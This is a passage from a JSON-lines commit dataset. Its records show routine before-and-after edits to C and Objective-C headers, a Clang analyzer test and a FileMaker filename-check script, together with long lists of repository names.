lCanary\/skia-hc,ench0\/external_chromium_org_third_party_skia,BrokenROM\/external_skia,google\/skia,xin3liang\/platform_external_chromium_org_third_party_skia,google\/skia,TeamExodus\/external_skia,MIPS\/external-chromium_org-third_party-skia,MyAOSP\/external_chromium_org_third_party_skia,MarshedOut\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,AOSP-YU\/platform_external_skia,AOSP-YU\/platform_external_skia,noselhq\/skia,pcwalton\/skia,amyvmiwei\/skia,VRToxin-AOSP\/android_external_skia,Infinitive-OS\/platform_external_skia,ominux\/skia,BrokenROM\/external_skia,TeamExodus\/external_skia,aosp-mirror\/platform_external_skia,samuelig\/skia,MinimalOS\/external_chromium_org_third_party_skia,OneRom\/external_skia,invisiblek\/android_external_skia,todotodoo\/skia,w3nd1go\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,TeamTwisted\/external_skia,Hikari-no-Tenshi\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,DARKPOP\/external_chromium_org_third_party_skia,Omegaphora\/external_chromium_org_third_party_skia,nfxosp\/platform_external_skia,MyAOSP\/external_chromium_org_third_party_skia,Hikari-no-Tenshi\/android_external_skia,invisiblek\/android_external_skia,AOSPB\/external_skia,spezi77\/android_external_skia,BrokenROM\/external_skia,ench0\/external_chromium_org_third_party_skia,TeamTwisted\/external_skia,nfxosp\/platform_external_skia,shahrzadmn\/skia,tmpvar\/skia.cc,TeamEOS\/external_chromium_org_third_party_skia,Omegaphora\/external_chromium_org_third_party_skia,pcwalton\/skia,ominux\/skia,samuelig\/skia,google\/skia,amyvmiwei\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,DARKPOP\/external_chromium_org_third_party_skia,VRToxin-AOSP\/android_external_skia,pcwalton\/skia,ominux\/skia,qrealka\/skia-hc,invisiblek\/android_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,MinimalOS\/android_external_chromium_org_third_party_skia,MinimalOS\/external_chromium_org_third_party_skia,rubenvb\/skia,VRToxin-AOSP\/android_external_skia,samuelig\/skia,noselhq\/skia,TeamTwisted\/external_skia,aosp-mirror\/platform_external_skia,Infinitive-OS\/platform_external_skia,nvoron23\/skia,BrokenROM\/external_skia,MyAOSP\/external_chromium_org_third_party_skia,AOSPB\/external_skia,nvoron23\/skia,scroggo\/skia,AOSP-YU\/platform_external_skia,YUPlayGodDev\/platform_external_skia,FusionSP\/external_chromium_org_third_party_skia,MinimalOS\/external_chromium_org_third_party_skia,TeamExodus\/external_skia,todotodoo\/skia,DiamondLovesYou\/skia-sys,MinimalOS\/external_chromium_org_third_party_skia,aosp-mirror\/platform_external_skia,TeamEOS\/external_chromium_org_third_party_skia,DARKPOP\/external_chromium_org_third_party_skia,jtg-gg\/skia,YUPlayGodDev\/platform_external_skia,UBERMALLOW\/external_skia,AOSP-YU\/platform_external_skia,VRToxin-AOSP\/android_external_skia,todotodoo\/skia,TeamEOS\/external_chromium_org_third_party_skia,geekboxzone\/mmallow_external_skia,boulzordev\/android_external_skia,google\/skia,Jichao\/skia,boulzordev\/android_external_skia,YUPlayGodDev\/platform_external_skia,Igalia\/skia,aosp-mirror\/platform_external_skia,DiamondLovesYou\/skia-sys,Omegaphora\/external_chromium_org_third_party_skia,shahrzadmn\/skia,rubenvb\/skia,rubenvb\/skia,Igalia\/skia,android-ia\/platform_external_chromium_org_third_party_skia,MinimalOS-AOSP\/platform_external_skia,MinimalOS-AOSP\/platform_external_skia,FusionSP\/external_chromium_org_third_party_skia,MinimalOS-AOSP\/platform_external_skia,PAC-ROM\/android_external_skia,samuelig\/skia,HalCanary\/skia-hc,Infinitive-OS\/platform_external_skia,ominux\/skia,pcwalton\/skia,chenlian2015\/skia_from_google,qrealka\/skia-hc,Jichao\/skia,FusionSP\/external_chromium_org_third_party_skia,shahrzadmn\/skia,Hikari-no-Tenshi\/android_external_skia,noselhq\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,noselhq\/skia,todotodoo\/skia,aosp-mirror\/platform_external_skia,UBERMALLOW\/external_skia,nfxosp\/platform_external_skia,qrealka\/skia-hc,rubenvb\/skia,mydongistiny\/external_chromium_org_third_party_skia,TeamTwisted\/external_skia,AOSPB\/external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,Jichao\/skia,VRToxin-AOSP\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,amyvmiwei\/skia,Hikari-no-Tenshi\/android_external_skia,PAC-ROM\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,android-ia\/platform_external_chromium_org_third_party_skia,BrokenROM\/external_skia,ench0\/external_chromium_org_third_party_skia,chenlian2015\/skia_from_google,vanish87\/skia,w3nd1go\/android_external_skia,aosp-mirror\/platform_external_skia,w3nd1go\/android_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,vanish87\/skia,Fusion-Rom\/external_chromium_org_third_party_skia,MarshedOut\/android_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,YUPlayGodDev\/platform_external_skia,jtg-gg\/skia,boulzordev\/android_external_skia,MonkeyZZZZ\/platform_external_skia,Jichao\/skia,PAC-ROM\/android_external_skia,rubenvb\/skia,mydongistiny\/external_chromium_org_third_party_skia,tmpvar\/skia.cc,TeamExodus\/external_skia,nvoron23\/skia,DiamondLovesYou\/skia-sys,spezi77\/android_external_skia,chenlian2015\/skia_from_google,VRToxin-AOSP\/android_external_skia,MarshedOut\/android_external_skia,shahrzadmn\/skia,noselhq\/skia,qrealka\/skia-hc,nfxosp\/platform_external_skia,VRToxin-AOSP\/android_external_skia,amyvmiwei\/skia,ench0\/external_chromium_org_third_party_skia,invisiblek\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,timduru\/platform-external-skia,timduru\/platform-external-skia,TeamTwisted\/external_skia,pcwalton\/skia,nfxosp\/platform_external_skia,MonkeyZZZZ\/platform_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,MonkeyZZZZ\/platform_external_skia,mydongistiny\/external_chromium_org_third_party_skia,vanish87\/skia,HalCanary\/skia-hc,qrealka\/skia-hc,ominux\/skia,samuelig\/skia,TeamTwisted\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,pcwalton\/skia,boulzordev\/android_external_skia,ominux\/skia,YUPlayGodDev\/platform_external_skia,MonkeyZZZZ\/platform_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,Omegaphora\/external_chromium_org_third_party_skia,BrokenROM\/external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,Hikari-no-Tenshi\/android_external_skia,geekboxzone\/mmallow_external_skia,DARKPOP\/external_chromium_org_third_party_skia,HalCanary\/skia-hc,shahrzadmn\/skia,tmpvar\/skia.cc,PAC-ROM\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,amyvmiwei\/skia,todotodoo\/skia,boulzordev\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,ench0\/external_chromium_org_third_party_skia,android-ia\/platform_external_chromium_org_third_party_skia,timduru\/platform-external-skia,nvoron23\/skia,TeamEOS\/external_chromium_org_third_party_skia,timduru\/platform-external-skia,amyvmiwei\/skia,nfxosp\/platform_external_skia,OptiPop\/external_chromium_org_third_party_skia,todotodoo\/skia,scroggo\/skia,MarshedOut\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,google\/skia,geekboxzone\/mmallow_external_skia,tmpvar\/skia.cc,boulzordev\/android_external_skia,boulzordev\/android_external_skia,vanish87\/skia,xin3liang\/platform_external_chromium_org_third_party_skia,android-ia\/platform_external_chromium_org_third_party_skia,android-ia\/platform_external_chromium_org_third_party_skia,Jichao\/skia,MyAOSP\/external_chromium_org_third_party_skia,nvoron23\/skia,google\/skia,MIPS\/external-chromium_org-third_party-skia,w3nd1go\/android_external_skia,shahrzadmn\/skia,MIPS\/external-chromium_org-third_party-skia,TeamExodus\/external_skia,spezi77\/android_external_skia,MarshedOut\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,vanish87\/skia,mydongistiny\/external_chromium_org_third_party_skia,OptiPop\/external_chromium_org_third_party_skia,Hikari-no-Tenshi\/android_external_skia,Jichao\/skia,OneRom\/external_skia,android-ia\/platform_external_chromium_org_third_party_skia,MIPS\/external-chromium_org-third_party-skia,UBERMALLOW\/external_skia,scroggo\/skia,nfxosp\/platform_external_skia,w3nd1go\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,todotodoo\/skia,jtg-gg\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,OptiPop\/external_chromium_org_third_party_skia,scroggo\/skia,vanish87\/skia,OneRom\/external_skia,chenlian2015\/skia_from_google,timduru\/platform-external-skia,invisiblek\/android_external_skia,DiamondLovesYou\/skia-sys,samuelig\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,Jichao\/skia,OneRom\/external_skia,HalCanary\/skia-hc,nfxosp\/platform_external_skia,google\/skia,MinimalOS\/external_chromium_org_third_party_skia,Igalia\/skia,AOSP-YU\/platform_external_skia,shahrzadmn\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,AOSPB\/external_skia,chenlian2015\/skia_from_google,MonkeyZZZZ\/platform_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,nvoron23\/skia,ench0\/external_chromium_org_third_party_skia,MIPS\/external-chromium_org-third_party-skia,OneRom\/external_skia,mydongistiny\/external_chromium_org_third_party_skia,w3nd1go\/android_external_skia,BrokenROM\/external_skia,invisiblek\/android_external_skia,nvoron23\/skia,Infinitive-OS\/platform_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,chenlian2015\/skia_from_google,HalCanary\/skia-hc,tmpvar\/skia.cc,FusionSP\/external_chromium_org_third_party_skia,geekboxzone\/mmallow_external_skia,MarshedOut\/android_external_skia,jtg-gg\/skia,Omegaphora\/external_chromium_org_third_party_skia,PAC-ROM\/android_external_skia,aosp-mirror\/platform_external_skia,OneRom\/external_skia,noselhq\/skia,MarshedOut\/android_external_skia,noselhq\/skia,shahrzadmn\/skia,jtg-gg\/skia,tmpvar\/skia.cc,FusionSP\/external_chromium_org_third_party_skia,AOSPB\/external_skia,w3nd1go\/android_external_skia,geekboxzone\/mmallow_external_skia,pcwalton\/skia,rubenvb\/skia,FusionSP\/external_chromium_org_third_party_skia,AOSPB\/external_skia,DiamondLovesYou\/skia-sys,qrealka\/skia-hc,qrealka\/skia-hc,OptiPop\/external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,nvoron23\/skia,todotodoo\/skia,VRToxin-AOSP\/android_external_skia,DiamondLovesYou\/skia-sys,UBERMALLOW\/external_skia,UBERMALLOW\/external_skia"}
{"commit":"612b95ba94af1bf3a2459dcec6a578c381374dc9","old_file":"inc\/types.h","new_file":"inc\/types.h","old_contents":"#pragma once\n#include <Eigen\/Dense>\n\nnamespace model {\n#if BICYCLE_USE_DOUBLE_PRECISION_REAL\nusing real_t = double;\n#else\nusing real_t = float;\n#endif\n} \/\/ namespace model\n","new_contents":"#pragma once\n\nnamespace model {\n#if BICYCLE_USE_DOUBLE_PRECISION_REAL\nusing real_t = double;\n#else\nusing real_t = float;\n#endif\n} \/\/ namespace model\n","subject":"Remove Eigen\/Dense include in type header","message":"Remove Eigen\/Dense include in type header\n","lang":"C","license":"bsd-2-clause","repos":"oliverlee\/bicycle,oliverlee\/bicycle"}
{"commit":"75dc6c7cb879d0018893baf6ba6b49d1f16e1b92","old_file":"unpack-trees.h","new_file":"unpack-trees.h","old_contents":"#ifndef UNPACK_TREES_H\n#define UNPACK_TREES_H\n\n#define MAX_UNPACK_TREES 8\n\nstruct unpack_trees_options;\n\ntypedef int (*merge_fn_t)(struct cache_entry **src,\n\t\tstruct unpack_trees_options *options);\n\nstruct unpack_trees_options {\n\tint reset;\n\tint merge;\n\tint update;\n\tint index_only;\n\tint nontrivial_merge;\n\tint trivial_merges_only;\n\tint verbose_update;\n\tint aggressive;\n\tint skip_unmerged;\n\tint gently;\n\tconst char *prefix;\n\tint pos;\n\tstruct dir_struct *dir;\n\tmerge_fn_t fn;\n\n\tint head_idx;\n\tint merge_size;\n\n\tstruct cache_entry *df_conflict_entry;\n\tvoid *unpack_data;\n\n\tstruct index_state *dst_index;\n\tconst struct index_state *src_index;\n\tstruct index_state result;\n};\n\nextern int unpack_trees(unsigned n, struct tree_desc *t,\n\t\tstruct unpack_trees_options *options);\n\nint threeway_merge(struct cache_entry **stages, struct unpack_trees_options *o);\nint twoway_merge(struct cache_entry **src, struct unpack_trees_options *o);\nint bind_merge(struct cache_entry **src, struct unpack_trees_options *o);\nint oneway_merge(struct cache_entry **src, struct unpack_trees_options *o);\n\n#endif\n","new_contents":"#ifndef UNPACK_TREES_H\n#define UNPACK_TREES_H\n\n#define MAX_UNPACK_TREES 8\n\nstruct unpack_trees_options;\n\ntypedef int (*merge_fn_t)(struct cache_entry **src,\n\t\tstruct unpack_trees_options *options);\n\nstruct unpack_trees_options {\n\tunsigned int reset:1,\n\t\t     merge:1,\n\t\t     update:1,\n\t\t     index_only:1,\n\t\t     nontrivial_merge:1,\n\t\t     trivial_merges_only:1,\n\t\t     verbose_update:1,\n\t\t     aggressive:1,\n\t\t     skip_unmerged:1,\n\t\t     gently:1;\n\tconst char *prefix;\n\tint pos;\n\tstruct dir_struct *dir;\n\tmerge_fn_t fn;\n\n\tint head_idx;\n\tint merge_size;\n\n\tstruct cache_entry *df_conflict_entry;\n\tvoid *unpack_data;\n\n\tstruct index_state *dst_index;\n\tconst struct index_state *src_index;\n\tstruct index_state result;\n};\n\nextern int unpack_trees(unsigned n, struct tree_desc *t,\n\t\tstruct unpack_trees_options *options);\n\nint threeway_merge(struct cache_entry **stages, struct unpack_trees_options *o);\nint twoway_merge(struct cache_entry **src, struct unpack_trees_options *o);\nint bind_merge(struct cache_entry **src, struct unpack_trees_options *o);\nint oneway_merge(struct cache_entry **src, struct unpack_trees_options *o);\n\n#endif\n","subject":"Make unpack_trees_options bit flags actual bitfields","message":"Make unpack_trees_options bit flags actual bitfields\n\nInstead of wasting space with whole integers for a single bit.\n\nSigned-off-by: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@linux-foundation.org>\nSigned-off-by: Junio C Hamano <a6723cc3f76163bf7adb636a73ac3b0ceb3e6b9b@pobox.com>\n","lang":"C","license":"mit","repos":"destenson\/git,destenson\/git,destenson\/git,destenson\/git,destenson\/git,destenson\/git,destenson\/git,destenson\/git"}
{"commit":"4478bc737ca39f5f7d1db4488a5aa2c0d8a793d2","old_file":"scripts\/reference-citation\/URLcheck.c","new_file":"scripts\/reference-citation\/URLcheck.c","old_contents":"reference(citation): URLcheck\nIf [ $$stopFileNameCheck = 1 ]\nExit Script [ ]\nEnd If\nIf [ Filter ( reference::ﬁleName ; \"?\" ) = \"?\" or\nFilter ( reference::ﬁleName ; \"#\" ) = \"#\" or\nFilter ( reference::ﬁleName ; \";\" ) = \";\" or\nFilter ( reference::ﬁleName ; \":\" ) = \":\" ]\nShow Custom Dialog [ Message: \"These special characters ? # ; : prevent the system from opening ﬁles. Remove them from your ﬁlename and then test the 'ﬁle' button above to insure it opens your ﬁle.\"; Buttons: “OK” ]\nGo to Field [ reference::ﬁleName ]\nEnd If\nJanuary 7, 平成26 17:54:06 Imagination Quality Management.fp7 - URLcheck -1-\n","new_contents":"reference(citation): URLcheck\nIf [ $$stopFileNameCheck = 1 ]\nExit Script [ ]\nEnd If\nIf [ Filter ( reference::ﬁleName ; \"?\" ) = \"?\" or\nFilter ( reference::ﬁleName ; \"#\" ) = \"#\" or\nFilter ( reference::ﬁleName ; \";\" ) = \";\" or\nFilter ( reference::ﬁleName ; \"\/\" ) = \"\/\" or\nFilter ( reference::ﬁleName ; \":\" ) = \":\" ]\nShow Custom Dialog [ Message: \"These special characters ? # \/ ; : prevent the system from opening ﬁles. Remove them from your ﬁlename and then test the 'ﬁle' button above to insure it opens your ﬁle.\"; Buttons: “OK” ]\nGo to Field [ reference::ﬁleName ]\nEnd If\nApril 26, 平成26 14:17:47 Imagination Quality Management.fp7 - URLcheck -1-","subject":"Add slash = \/ to warning message","message":"Add slash = \/ to warning message\n\nAdd slash = \/ to warning message for file name character that prevent\nlibrary from opening them.\n","lang":"C","license":"apache-2.0","repos":"HelpGiveThanks\/Library,HelpGiveThanks\/Library"}
{"commit":"0e02d81608e0054a79b3760dc0af526df43f71e0","old_file":"Apptentive\/Apptentive\/Engagement\/Model\/ApptentiveConversationMetadataItem.h","new_file":"Apptentive\/Apptentive\/Engagement\/Model\/ApptentiveConversationMetadataItem.h","old_contents":"\/\/\n\/\/  ApptentiveConversationMetadataItem.h\n\/\/  Apptentive\n\/\/\n\/\/  Created by Frank Schmitt on 2\/20\/17.\n\/\/  Copyright © 2017 Apptentive, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\ntypedef NS_ENUM(NSInteger, ApptentiveConversationState) {\n\tApptentiveConversationStateNone = 0,\n\tApptentiveConversationStateAnonymousPending,\n\tApptentiveConversationStateAnonymous,\n\tApptentiveConversationStateLoggedIn,\n\tApptentiveConversationStateLoggedOut\n};\n\n@interface ApptentiveConversationMetadataItem : NSObject <NSSecureCoding>\n\n- (instancetype)initWithConversationIdentifier:(NSString *)conversationIdentifier filename:(NSString *)filename;\n\n@property (assign, nonatomic) ApptentiveConversationState state;\n@property (strong, nonatomic) NSString *conversationIdentifier;\n@property (strong, nonatomic) NSString *fileName;\n\n@end\n","new_contents":"\/\/\n\/\/  ApptentiveConversationMetadataItem.h\n\/\/  Apptentive\n\/\/\n\/\/  Created by Frank Schmitt on 2\/20\/17.\n\/\/  Copyright © 2017 Apptentive, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\ntypedef NS_ENUM(NSInteger, ApptentiveConversationState) {\n\tApptentiveConversationStateUndefined = 0,\n\tApptentiveConversationStateAnonymousPending,\n\tApptentiveConversationStateAnonymous,\n\tApptentiveConversationStateLoggedIn,\n\tApptentiveConversationStateLoggedOut\n};\n\n@interface ApptentiveConversationMetadataItem : NSObject <NSSecureCoding>\n\n- (instancetype)initWithConversationIdentifier:(NSString *)conversationIdentifier filename:(NSString *)filename;\n\n@property (assign, nonatomic) ApptentiveConversationState state;\n@property (strong, nonatomic) NSString *conversationIdentifier;\n@property (strong, nonatomic) NSString *fileName;\n\n@end\n","subject":"Update name of null state to match Android","message":"Update name of null state to match Android\n","lang":"C","license":"bsd-3-clause","repos":"apptentive\/apptentive-ios,apptentive\/apptentive-ios,apptentive\/apptentive-ios"}
{"commit":"9f49055456049bdff41f61231553d29573fac184","old_file":"test\/Analysis\/uninit-vals-ps.c","new_file":"test\/Analysis\/uninit-vals-ps.c","old_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\nstruct FPRec {\n  void (*my_func)(int * x);  \n};\n\nint bar(int x);\n\nint f1_a(struct FPRec* foo) {\n  int x;\n  (*foo->my_func)(&x);\n  return bar(x)+1; \/\/ no-warning\n}\n\nint f1_b() {\n  int x;\n  return bar(x)+1;  \/\/ expected-warning{{Pass-by-value argument in function is undefined.}}\n}\n\nint f2() {\n  \n  int x;\n  \n  if (x+1)  \/\/ expected-warning{{Branch}}\n    return 1;\n    \n  return 2;  \n}\n\nint f2_b() {\n  int x;\n  \n  return ((x+1)+2+((x))) + 1 ? 1 : 2; \/\/ expected-warning{{Branch}}\n}\n\nint f3(void) {\n  int i;\n  int *p = &i;\n  if (*p > 0) \/\/ expected-warning{{Branch condition evaluates to an uninitialized value}}\n    return 0;\n  else\n    return 1;\n}\n\n","new_contents":"\/\/ RUN: clang -checker-simple -verify %s &&\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct FPRec {\n  void (*my_func)(int * x);  \n};\n\nint bar(int x);\n\nint f1_a(struct FPRec* foo) {\n  int x;\n  (*foo->my_func)(&x);\n  return bar(x)+1; \/\/ no-warning\n}\n\nint f1_b() {\n  int x;\n  return bar(x)+1;  \/\/ expected-warning{{Pass-by-value argument in function is undefined.}}\n}\n\nint f2() {\n  \n  int x;\n  \n  if (x+1)  \/\/ expected-warning{{Branch}}\n    return 1;\n    \n  return 2;  \n}\n\nint f2_b() {\n  int x;\n  \n  return ((x+1)+2+((x))) + 1 ? 1 : 2; \/\/ expected-warning{{Branch}}\n}\n\nint f3(void) {\n  int i;\n  int *p = &i;\n  if (*p > 0) \/\/ expected-warning{{Branch condition evaluates to an uninitialized value}}\n    return 0;\n  else\n    return 1;\n}\n\n","subject":"Enable test file for 'region store' in addition to basic store.","message":"Enable test file for 'region store' in addition to basic store.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@59762 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"bcc883fed382acb90216a8158f6bf62329581194","old_file":"src\/include\/port\/i386_solaris.h","new_file":"src\/include\/port\/i386_solaris.h","old_contents":"#  define USE_POSIX_TIME \n#  define USE_POSIX_SIGNALS\n#  define NO_EMPTY_STMTS\n#  define SYSV_DIRENT\n#  define HAS_TEST_AND_SET\n   typedef unsigned char slock_t;\n\n#include <sys\/isa_defs.h>\n\n#ifndef\t\tBIG_ENDIAN\n#define\t\tBIG_ENDIAN\t4321\n#endif\n#ifndef\t\tLITTLE_ENDIAN\n#define\t\tLITTLE_ENDIAN\t1234\n#endif\n#ifndef\t\tPDP_ENDIAN\n#define\t\tPDP_ENDIAN      3412\n#endif\n#ifndef\t\tBYTE_ORDER\n#define\t\tBYTE_ORDER\tLITTLE_ENDIAN\n#endif\n\n#ifndef         NAN\n\n#ifndef         __nan_bytes\n#define __nan_bytes             { 0, 0, 0, 0, 0, 0, 0xf8, 0x7f }\n#endif \/* __nan_bytes *\/\n\n#ifdef          __GNUC__\n#define NAN \\\n  (__extension__ ((union { unsigned char __c[8];                      \\\n                           double __d; })                             \\\n                  { __nan_bytes }).__d)\n\n#else  \/* Not GCC.  *\/\n#define                NAN     (*(__const double *) __nan)\n#endif \/* GCC.  *\/\n#endif \/* NAN *\/\n\n#ifndef        index\n#define index  strchr\n#endif\n\n#ifndef HAVE_RUSAGE\n#define                HAVE_RUSAGE     1\n#endif\n\n","new_contents":"#  define USE_POSIX_TIME \n#  define USE_POSIX_SIGNALS\n#  define NO_EMPTY_STMTS\n#  define SYSV_DIRENT\n#  define HAS_TEST_AND_SET\n   typedef unsigned char slock_t;\n\n#include <sys\/isa_defs.h>\n\n#ifndef\t\tBIG_ENDIAN\n#define\t\tBIG_ENDIAN\t4321\n#endif\n#ifndef\t\tLITTLE_ENDIAN\n#define\t\tLITTLE_ENDIAN\t1234\n#endif\n#ifndef\t\tPDP_ENDIAN\n#define\t\tPDP_ENDIAN      3412\n#endif\n#ifndef\t\tBYTE_ORDER\n#define\t\tBYTE_ORDER\tLITTLE_ENDIAN\n#endif\n\n#ifndef         NAN\n\n#ifndef         __nan_bytes\n#define __nan_bytes             { 0, 0, 0, 0, 0, 0, 0xf8, 0x7f }\n#endif \/* __nan_bytes *\/\n\n#ifdef          __GNUC__\n#define NAN \\\n  (__extension__ ((union { unsigned char __c[8];                      \\\n                           double __d; })                             \\\n                  { __nan_bytes }).__d)\n\n#else  \/* Not GCC.  *\/\n#define                NAN     (*(__const double *) __nan)\n#endif \/* GCC.  *\/\n#endif \/* NAN *\/\n\n#ifndef        index\n#define index  strchr\n#endif\n","subject":"Remove HAVE_USAGE because it is no longer used.","message":"Remove HAVE_USAGE because it is no longer used.\n","lang":"C","license":"apache-2.0","repos":"Chibin\/gpdb,lintzc\/gpdb,zaksoup\/gpdb,randomtask1155\/gpdb,adam8157\/gpdb,Chibin\/gpdb,CraigHarris\/gpdb,Quikling\/gpdb,tangp3\/gpdb,zeroae\/postgres-xl,greenplum-db\/gpdb,Chibin\/gpdb,jmcatamney\/gpdb,yazun\/postgres-xl,rvs\/gpdb,greenplum-db\/gpdb,tpostgres-projects\/tPostgres,tangp3\/gpdb,chrishajas\/gpdb,Chibin\/gpdb,kaknikhil\/gpdb,atris\/gpdb,ashwinstar\/gpdb,tangp3\/gpdb,yuanzhao\/gpdb,Chibin\/gpdb,rvs\/gpdb,ahachete\/gpdb,oberstet\/postgres-xl,kaknikhil\/gpdb,CraigHarris\/gpdb,lisakowen\/gpdb,oberstet\/postgres-xl,chrishajas\/gpdb,rubikloud\/gpdb,pavanvd\/postgres-xl,edespino\/gpdb,xinzweb\/gpdb,greenplum-db\/gpdb,xinzweb\/gpdb,janebeckman\/gpdb,edespino\/gpdb,ashwinstar\/gpdb,janebeckman\/gpdb,yuanzhao\/gpdb,Chibin\/gpdb,ovr\/postgres-xl,foyzur\/gpdb,zaksoup\/gpdb,CraigHarris\/gpdb,lintzc\/gpdb,CraigHarris\/gpdb,zeroae\/postgres-xl,jmcatamney\/gpdb,postmind-net\/postgres-xl,rubikloud\/gpdb,lisakowen\/gpdb,Quikling\/gpdb,chrishajas\/gpdb,ashwinstar\/gpdb,snaga\/postgres-xl,0x0FFF\/gpdb,lisakowen\/gpdb,postmind-net\/postgres-xl,atris\/gpdb,lintzc\/gpdb,yuanzhao\/gpdb,greenplum-db\/gpdb,0x0FFF\/gpdb,xuegang\/gpdb,rubikloud\/gpdb,xinzweb\/gpdb,zaksoup\/gpdb,Quikling\/gpdb,kaknikhil\/gpdb,randomtask1155\/gpdb,xinzweb\/gpdb,cjcjameson\/gpdb,50wu\/gpdb,ovr\/postgres-xl,jmcatamney\/gpdb,royc1\/gpdb,lintzc\/gpdb,kaknikhil\/gpdb,lpetrov-pivotal\/gpdb,snaga\/postgres-xl,xinzweb\/gpdb,kmjungersen\/PostgresXL,janebeckman\/gpdb,janebeckman\/gpdb,50wu\/gpdb,pavanvd\/postgres-xl,kaknikhil\/gpdb,xuegang\/gpdb,arcivanov\/postgres-xl,CraigHarris\/gpdb,Quikling\/gpdb,cjcjameson\/gpdb,xinzweb\/gpdb,0x0FFF\/gpdb,cjcjameson\/gpdb,tangp3\/gpdb,zeroae\/postgres-xl,ahachete\/gpdb,edespino\/gpdb,randomtask1155\/gpdb,xuegang\/gpdb,janebeckman\/gpdb,royc1\/gpdb,chrishajas\/gpdb,janebeckman\/gpdb,0x0FFF\/gpdb,rubikloud\/gpdb,Quikling\/gpdb,adam8157\/gpdb,foyzur\/gpdb,chrishajas\/gpdb,randomtask1155\/gpdb,greenplum-db\/gpdb,rvs\/gpdb,royc1\/gpdb,rubikloud\/gpdb,rvs\/gpdb,ovr\/postgres-xl,rubikloud\/gpdb,cjcjameson\/gpdb,rvs\/gpdb,yazun\/postgres-xl,zeroae\/postgres-xl,kmjungersen\/PostgresXL,snaga\/postgres-xl,lpetrov-pivotal\/gpdb,foyzur\/gpdb,lpetrov-pivotal\/gpdb,techdragon\/Postgres-XL,foyzur\/gpdb,50wu\/gpdb,zaksoup\/gpdb,ashwinstar\/gpdb,royc1\/gpdb,royc1\/gpdb,yuanzhao\/gpdb,rvs\/gpdb,xuegang\/gpdb,jmcatamney\/gpdb,randomtask1155\/gpdb,oberstet\/postgres-xl,yazun\/postgres-xl,techdragon\/Postgres-XL,techdragon\/Postgres-XL,snaga\/postgres-xl,tpostgres-projects\/tPostgres,atris\/gpdb,atris\/gpdb,edespino\/gpdb,ahachete\/gpdb,arcivanov\/postgres-xl,foyzur\/gpdb,cjcjameson\/gpdb,ahachete\/gpdb,greenplum-db\/gpdb,jmcatamney\/gpdb,CraigHarris\/gpdb,lintzc\/gpdb,chrishajas\/gpdb,xuegang\/gpdb,ashwinstar\/gpdb,kmjungersen\/PostgresXL,lpetrov-pivotal\/gpdb,50wu\/gpdb,50wu\/gpdb,cjcjameson\/gpdb,pavanvd\/postgres-xl,rvs\/gpdb,tpostgres-projects\/tPostgres,yuanzhao\/gpdb,ovr\/postgres-xl,tangp3\/gpdb,rubikloud\/gpdb,0x0FFF\/gpdb,royc1\/gpdb,lpetrov-pivotal\/gpdb,CraigHarris\/gpdb,zaksoup\/gpdb,cjcjameson\/gpdb,postmind-net\/postgres-xl,Chibin\/gpdb,xuegang\/gpdb,zaksoup\/gpdb,postmind-net\/postgres-xl,edespino\/gpdb,yazun\/postgres-xl,snaga\/postgres-xl,xinzweb\/gpdb,janebeckman\/gpdb,adam8157\/gpdb,lintzc\/gpdb,ashwinstar\/gpdb,chrishajas\/gpdb,royc1\/gpdb,zeroae\/postgres-xl,kaknikhil\/gpdb,atris\/gpdb,zaksoup\/gpdb,lintzc\/gpdb,lisakowen\/gpdb,xinzweb\/gpdb,CraigHarris\/gpdb,arcivanov\/postgres-xl,chrishajas\/gpdb,rvs\/gpdb,Postgres-XL\/Postgres-XL,adam8157\/gpdb,arcivanov\/postgres-xl,randomtask1155\/gpdb,ahachete\/gpdb,50wu\/gpdb,royc1\/gpdb,lisakowen\/gpdb,techdragon\/Postgres-XL,foyzur\/gpdb,kaknikhil\/gpdb,cjcjameson\/gpdb,0x0FFF\/gpdb,lisakowen\/gpdb,Chibin\/gpdb,lpetrov-pivotal\/gpdb,yazun\/postgres-xl,Quikling\/gpdb,jmcatamney\/gpdb,ashwinstar\/gpdb,zaksoup\/gpdb,tangp3\/gpdb,techdragon\/Postgres-XL,adam8157\/gpdb,janebeckman\/gpdb,Quikling\/